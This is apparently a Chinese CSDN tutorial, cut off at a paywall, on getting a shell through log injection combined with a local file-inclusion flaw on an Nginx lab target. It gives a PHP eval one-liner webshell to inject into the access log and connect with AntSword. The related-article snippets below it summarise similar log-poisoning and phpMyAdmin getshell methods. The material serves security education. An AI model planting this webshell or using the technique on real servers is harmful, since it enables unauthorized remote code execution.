【网络安全】日志注入getshell

已于 2024-10-31 09:14:19 修改
阅读量4.3k 收藏 24
点赞数 22
CC 4.0 BY-SA版权
分类专栏： 网络安全新手快速入门(附漏洞挖掘案例) 文章标签： web安全 日志注入
于 2023-12-26 20:52:54 首次发布
原创文章，禁止转载，否则保留追究法律责任的权利。
本文链接：https://blog.youkuaiyun.com/2301_77485708/article/details/135231114

日志文件可能被注入导致任意代码执行甚至getshell等。

文章目录

日志注入getshell

中间件的日志文件通常用于保存网站的访问记录，其中包括了客户端发送的HTTP请求行、User-Agent、Referer等信息。这些日志文件对于网站的运维和安全分析非常有用。

如果能够在HTTP请求中插入恶意代码，那么这些恶意代码就会被保存到日志文件中。当访问日志文件时，其中的恶意代码可能会被执行。

实战

环境如下：
在这里插入图片描述
页面提示存在文件包含漏洞

在这里插入图片描述
服务器为Nginx，尝试访问日志文件：

在这里插入图片描述
访问成功，所以此时可以抓包添加一句话木马、连接蚁剑

<?php @eval($_POST[ice]);?>

了解本专栏 订阅专栏 解锁全文 超级会员免费看
利用命令注入getshell
weixin_45253622的博客
03-17 1368
利用命令注入getshell 靶机ip：192.168.41.129 kali：192.168.41.128 任务：靶机存在命令注入漏洞，获取靶机权限。 漏洞原理 命令执行直接调用操作系统命令。其原理是，在操作系统中，“&、|、I都可以作为命令连接符使用，用户通过浏览器提交执行命令，由于服务器端没有针对执行函数做过滤，将用户的输入作为系统命令的参数拼接到命令行中，在没有过滤用户输入的情况下，造成命令执行漏洞。 规则 command1&command2 两个命令同时执行 command1
【网络安全】文件包含漏洞--通过日志投毒getshell
热门推荐
你在看屏幕的同时，屏幕也在注视着你
09-04 1万+
文件包含漏洞--通过日志投毒getshell
文件包含漏洞-日志注入
superman66697的博客
08-16 2910
文件包含漏洞是 Web 应用程序中的一种常见漏洞。当应用程序允许用户控制包含在页面上的文件时，攻击者就可以利用这一点来包含恶意文件。这种恶意文件可能包含执行恶意代码，导致各种攻击，如代码执行、数据泄露或其他未授权的行为。日志注入是通过插入恶意数据到应用程序的日志文件来实施的攻击。当这些日志被其他系统或应用程序读取和解析时，攻击者的恶意数据可能会被执行。这通常利用了不安全的日志处理机制和文件包含漏洞的组合。
利用文件包含漏洞-getshell
LJH1999ZN的博客
02-22 8242
一、什么是文件包含漏洞 文件包含是指应用程序没有对引用的文件做合理的校验，导致包含的文件中含有恶意的代码，并且执行了该代码。从而产生了文件包含漏洞 二、文件包含漏洞的利用条件 1.引用一个任意类型的文件 2.程序读取文件并且执行 三、将木马程序放入某个本地文件中。 1.利用网站报错日志写入木马程序 2.利用文件上传功能，上传含有木马的任意文件 四、文件包含getshell 1.本地文件包含getshell 网站会将一些错误信息记录到日志文件中，我们可以利用这个特性将木马写入日志文件中去
【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell
cc
02-24 3852
如果网站存在远程文件包含漏洞，攻击者在服务器2号上写一个一句话木马文件，利用网站远程文件包含该文件，并不能Get网站Shell。由于没有存在文件上传点，而我们又需要服务器本地有个文件存在一句话木马代码，这时候我们想到，日志文件记录报错的方法，就是从日志文件中“写入”一句话木马，然后再利用文件包含来执行日志文件中的一句话木马。在该网站根目录下，新建文件FileInclusion，在此文件夹中新建文件include.php，文件内容为。我们可以利用文件包含漏洞读取任意文件，读取文件的时候有利用条件。
包含日志文件getshell
weixin_33843947的博客
09-08 1982
包含日志文件getshell 一、包含日志文件漏洞利用概述 当我们没有上传点，并且也没有url_allow_include功能时，我们就可以考虑包含服务器的日志文件。 利用思路也比较简单，当我们访问网站时，服务器的日志中都会记录我们的行为，当我们访问链接中包含PHP一句话木马时，也会被记录到日志中。 这时候我们如果知...
文件包含之日志getshell
qq_42307546的博客
01-15 2316
iis,apache等中间件都会用一个日志文件用来记录一些信息，例如在某个时间段用户访问的url路劲和状态码，如果这个时候将访问的url改为一句话代码就会记录到日志中，在配合文件包含漏洞是可以直接getshell的，当然这个只在windows下有效 在linux日志路劲 /log/apache2/access.log，需要root用户才能读取正常情况不能包含这里为了方便演示直接加权限 创建一个f1.php的文件内容如下 <?php include $GET['filename']; ?> ``
精选资源
ThinkPHP v5.x命令执行利用工具（可getshell）
11-19
4. **教育员工**：提高员工对网络安全的意识，防止社会工程学攻击。 总的来说，理解和防范ThinkPHP v5.x的命令执行漏洞是确保网站和服务器安全的重要环节。无论是开发人员还是管理员，都需要对这种威胁保持警惕，并...
天羽全自动getshell工具VIP版.zip
09-25
在网络安全领域，"getshell"通常指的是在目标系统上获得一个命令执行的接口，这在合法的渗透测试中是评估系统安全性的关键步骤。VIP版意味着该工具可能包含更多高级功能和优化，以提高效率和成功率。 在网络安全的...
「安全防护」我的一键 getshell 代码开发之路 - 攻防靶场.zip
11-27
在网络安全领域，getshell 是一个常见且重要的概念，特别是在web安全、移动安全以及开发安全的讨论中。Getshell 指的是攻击者通过利用网站或应用程序的漏洞，成功获取到服务器的命令执行权限，能够控制目标系统，...
文件包含漏洞结合ssh登录日志getshell
weixin_54813510的博客
06-26 1299
文件包含（漏洞）是程序开发人员通常出于灵活性的考虑，会将被包含的文件设置成变量，然后动态调用这些文件。但正是因为调用的灵活性导致用户可能调用一些恶意文件，造成文件包含漏洞。文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞。php中文件包含的函数有：require()，找不到被包含的文件时会产生致命错误，并停止脚本运行。include()，找不到被包含的文件时只会产生警告，脚本将继续运行。include_once()与include()类似，唯一区别是如果该文件中的代码已经被包含，则不会再次包含。
日志getshell
weixin_54252904的博客
04-23 465
phpmyadmin日志getshell设置日志文件上传一句话木马查看是否成功蚁剑或菜刀getshellgetshell成功 在进入别人的phpmyadmin数据库后可以采用日志getshell 具体过程如下 设置日志文件 设置general_log = ON general_log_file = 网站根目录的php文件 上传一句话木马 执行sql语句 密码为cmd 查看是否成功 找到上传的地址 蚁剑或菜刀getshell getshell成功 最后可使用反弹shel
【文件包含】——日志文件注入
最新发布
qq_1182418846的博客
09-12 1312
本文主要根据做题内容的总结，如有错误之处，还请各位师傅指正。
PHP文件包含漏洞代码分析-通过漏洞getshell-学习笔记
ZhangAweio的博客
04-06 1069
假设我们有一个网站有上传漏洞，但我们并不能进行直接getshell，这时候我们就用到这漏洞来进行getshell假如我们有个网站已经成功上传shell 了，但是无法运行，因为是其他格式的那么我们可以通过文件包含漏洞来进行getshell首先写入一句话木马成功访问不是PHP结尾的文件，文件包含漏洞危害及其大，如有被利用不堪设想。
getshell姿势（三）--文件包含
qq_45936617的博客
10-06 605
文件包含是指一个文件可以包含（接入）另一个文件。常见的PHP文件包含函数为include()、require()、include_once()、require_once()。文件包含可以分为本地文件包含和远程文件包含。本地文件包含只能对服务器本地文件进行包含；远程文件包含可以通过URL地址包含其他服务器的内容。在PHP环境中，远程文件包含需要的条件为allow_url_include、allow_url_fopen为开启状态：on。
windows和linux包含日志文件和环境变量getshell
记录学习，一起进步
03-03 665
windows和linux包含日志文件和环境变量getshell
【文件包含漏洞-04】经典面试题：已知某网站仅存在本地文件包含漏洞时，如何GetShell？
m0_64378913的博客
06-23 1392
实验要求：假设攻击者已经知道某网站存在且仅存在本地文件包含漏洞，并且没有文件上传漏洞点及其他漏洞，如何GetShell。 实验目的：利用本地文件包含漏洞GetShell。（1）靶机本文实验基于WAMP环境进行测试，环境部署过程参考文章《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》，IP为172.16.1.1。查看靶机PHP版本。需要查看所搭建的服务器的PHP版本，下一步修改其配置。打开phpstudy安装文件夹，找到PHP-5.4.45版本对应文件夹，将文件php.ini中的a
c++ 写入文件_phpMyAdmin利用日志文件GetSHELL
weixin_39798497的博客
11-27 137
phpMyAdmin简介phpMyAdmin 是众多MySQL图形化管理工具中使用最为广泛的一种，是一款使用PHP 开发的基于B/S模式的MySQL客户端软件，该工具是基于 Web 跨平台的管理程序，并且支持简体中文，用户可以在官网上下载最新版本的。GetSHELL前提1、phpMyAdmin利用日志文件GetSHELL前提账号必须有可读可写权限2、MySQL版本大于5.0，MySQL 5.0版本...
Redis四种GetShell方式及其安全防护详解
本文围绕“Redis四种GetShell方式”展开深入分析，详细阐述每种利用方式的技术原理、具体操作流程以及相应的防御措施，旨在帮助开发与运维人员全面理解Redis面临的安全风险，并采取有效手段提升系统整体安全性。...
评论 13
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值